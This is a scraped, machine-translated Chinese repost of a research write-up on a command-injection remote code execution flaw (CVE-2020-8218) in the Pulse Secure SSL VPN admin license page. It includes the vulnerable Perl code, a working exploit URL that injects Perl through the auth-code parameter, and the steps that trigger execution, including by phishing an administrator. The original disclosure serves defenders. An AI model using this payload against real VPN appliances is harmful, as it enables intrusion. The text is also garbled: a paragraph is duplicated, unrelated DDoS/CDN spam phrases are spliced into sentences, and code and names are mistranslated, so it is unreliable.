来自 CC防护 2021-02-08 14:13 的文章

高防cdn购买_能不能防住_ddos防护计费

高防cdn购买_能不能防住_ddos防护计费

在一次接触中,我们发现了一个运行9.1R7版本的Pulse Secure SSL VPN,这是当时可用的最新版本。在以前的VPN版本中已经发现了很多漏洞,所以我们急切地想看看能否在最新版本中找到我们自己的缺陷。一段时间后,我们发现了几个新的漏洞,这些漏洞允许未经身份验证的用户远程运行任意代码(RCE)。RCE本身(CVE-2020-8218)需要以管理员权限进行身份验证,但也可以由毫无防备的管理员单击恶意链接触发。我们所有的发现都被披露了,但是有些还没有被修补。因此,这篇博文将只讨论RCE,脉冲安全声明已在版本9.1R8中补丁。我们将在稍后的博客文章中公布其余漏洞的详细信息,这些漏洞已修复或在披露90天后公布。在一次接触中,我们发现了一个运行9.1R7版本的Pulse Secure SSL VPN,这是当时可用的最新版本。在以前的VPN版本中已经发现了很多漏洞,所以我们急切地想看看能否在最新版本中找到我们自己的缺陷。一段时间后,我们发现了几个新的漏洞,这些漏洞允许未经身份验证的用户远程运行任意代码(RCE)。RCE本身(CVE-2020-8218)需要以管理员权限进行身份验证,但也可以由毫无防备的管理员单击恶意链接触发。我们所有的发现都被披露了,但是有些还没有被修补。因此,这篇博文将只讨论RCE,防御游戏cc攻击,脉冲安全声明已在版本9.1R8中补丁。我们将在稍后的博客文章中公布其余漏洞的详细信息,这些漏洞已修复或在披露90天后公布。技术分析导致RCE的漏洞是命令注入,可以在下载许可证.cgi管理门户的文件。以下是可利用的代码:我的$cmd;if(DSLicense::isVLSImage()| | DSLicense::isLicsFromPcls()| | DSLicense::isEnabled($DSLicense::FT_mssp_core)){$cmd=$ENV{'DSINSTALL'}。"/bin/dslicdownload-i-e/tmp/.download"错误-o/dev/NULL-a$authCode";// ...}// ...my$ret=系统($cmd);由于authCode是一个我们控制的参数,如果我们已经拥有管理权限,那么访问该部分代码就很简单了,所以该漏洞应该很容易被利用,对吧?嗯,不完全是。脉冲安全增加了许多强化其应用。它使用的一种保护是拦截危险的函数调用,例如系统,并删除许多特殊字符以使其更安全。幸运的是,之前战胜类似场景的工作已经有了很好的文档记录,这使得我们的任务更加容易。根据这些先前的发现和我们自己的实验,网站安全防护,我们得出了以下有效载荷:https://x.x.x.x/dana-admin/license/downloadlices.cgi?20%Tx20%Tx20%Tx20%Tx20%Tx20%Tx20%Tx20%Tx20%Tx20%Tx20%TxDx20%Tx20%Tx20%Tx20%TxDx20%TxDx20%TxCd/Tx20%Tx20%TxDx20%Tx20%TxDx20%TxDx20%Tx/设置cookie.thtml.ttcURL解码后:https://x.x.x.x/dana-admin/license/downloadlices.cgi?cmd=download&txtVLSAuthCode=任何-n'($x="ls/",系统$x);#'-e/data/runtime/tmp/tt/设置cookie.thtml.ttc需要cmd参数来访问易受攻击的代码,而txtVLSAuthCode包含我们所需的有效负载。一旦有效载荷被发送,我们仍然需要访问https://x.x.x.x/dana-na/auth/setcookie.cgi为了执行我们的命令。下面的屏幕截图显示了一次成功攻击的结果,我们将ls/作为我们的命令。我们可以看到根目录的内容列在响应中:有效载荷很有趣,防御ddos要多少钱,需要解释一下。在这个例子中,二进制dslicdownload接受两个重要参数:n和e.e指示在发生错误时将输出发送到哪里,例如,如果我们发送了错误的身份验证码。注意,代码已经指定了一个e参数,但是我们可以通过在末尾添加我们自己的参数来更改它。由于文件系统大部分是只读的,所以我们选择将错误消息输出到缓存文件(/data/runtime/tmp/tt/设置cookie.thtml.ttc)因为它是为数不多的可写文件之一。如果你需要更多的细节,橙色蔡英文对此有很好的解释。以下是不带n参数发送时的错误消息:查找授权硬件ID失败不是很有用,国外ddos防御,对吧?这就是n参数发挥作用的地方。它将错误消息更改为:Cluster node:查找授权硬件ID失败在这种上下文中编写语法有效的Perl有点棘手,但并非不可能。回顾我们的有效载荷,我们发现这条线变成:这是因为在Perl中,包、方法及其参数可以用空格分隔。Perl解释器认为集群是一个方法,节点是一个包,括号内的所有内容都是参数。当然,集群和节点在这个上下文中不存在,所以运行时错误是可以预料的,但是在参数被解析和我们的有效负载被执行之前不会发生。概括地说,以下是成功攻击场景中发生的情况的摘要: 具有管理员权限的攻击者将转到URL(已解码):https://x.x.x.x/dana-admin/license/downloadlices.cgi?cmd=download&txtVLSAuthCode=任何-n'($x="ls/",系统$x);#'-e/data/runtime/tmp/tt/设置cookie.thtml.ttcURL参数cmd设置为"download",因此我们到达易受攻击的代码。URL参数txtVLSAuthCode随后追加到下载许可证.cgi文件。$cmd变为: $cmd=$ENV{'DSINSTALL'}。"/bin/dslicdownload-i-e/tmp/.download_err-o/dev/NULL-a whatever-n'($x="ls/",system$x);35;'-e/data/runtime/tmp/tt/设置cookie.thtml.ttc";$cmd然后作为shell命令通过系统函数调用在代码中执行一点。我们添加的命令行参数-e将错误输出文件设置为/data/runtime/tmp/tt/设置cookie.thtml.ttc.命令行参数-n将错误输出设置为: 群集节点($x="ls/",系统$x)#:查找授权硬件ID失败 这个输出被附加到我们用-e参数设置的文件中。攻击者转到URLhttps://x.x.x.x/dana-na/auth/setcookie.cgi。然后,我们修改的缓存文件和有效负载一起被执行。我们成功地实现了远程代码执行。结论希望你能像我们一样发现有效载荷和漏洞。虽然它确实需要进行身份验证,但它可以由一个简单的网络钓鱼攻击对正确的受害者触发这一事实应该足以证明这个漏洞是不容忽视的。至于发现的其他漏洞,请关注本博客文章的第二部分,我们将在其中披露它们的详细信息以及允许我们找到它们的方法。一个名为"忘记你的周边:从网络钓鱼电子邮件到完整的VPN妥协"的演讲也在我们即将举行的GoSec虚拟会议上进行。时间轴2020-06-09:发现漏洞2020-06-12:Pulse Secure暴露的漏洞发布新版本:2020年7月29日研究人员马克西姆·纳多罗曼卡努斯西蒙·诺莱特让·弗里德里克·高伦特木津达尔坎特塞格朱利安菠萝工具书类SA44516–2020-07:安全公告:Pulse Connect Secure/Pulse Policy Secure 9.1R8中解决的多个漏洞https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44516/?kA23Z000000L6i5SAC

,高防免费cdn1001无标题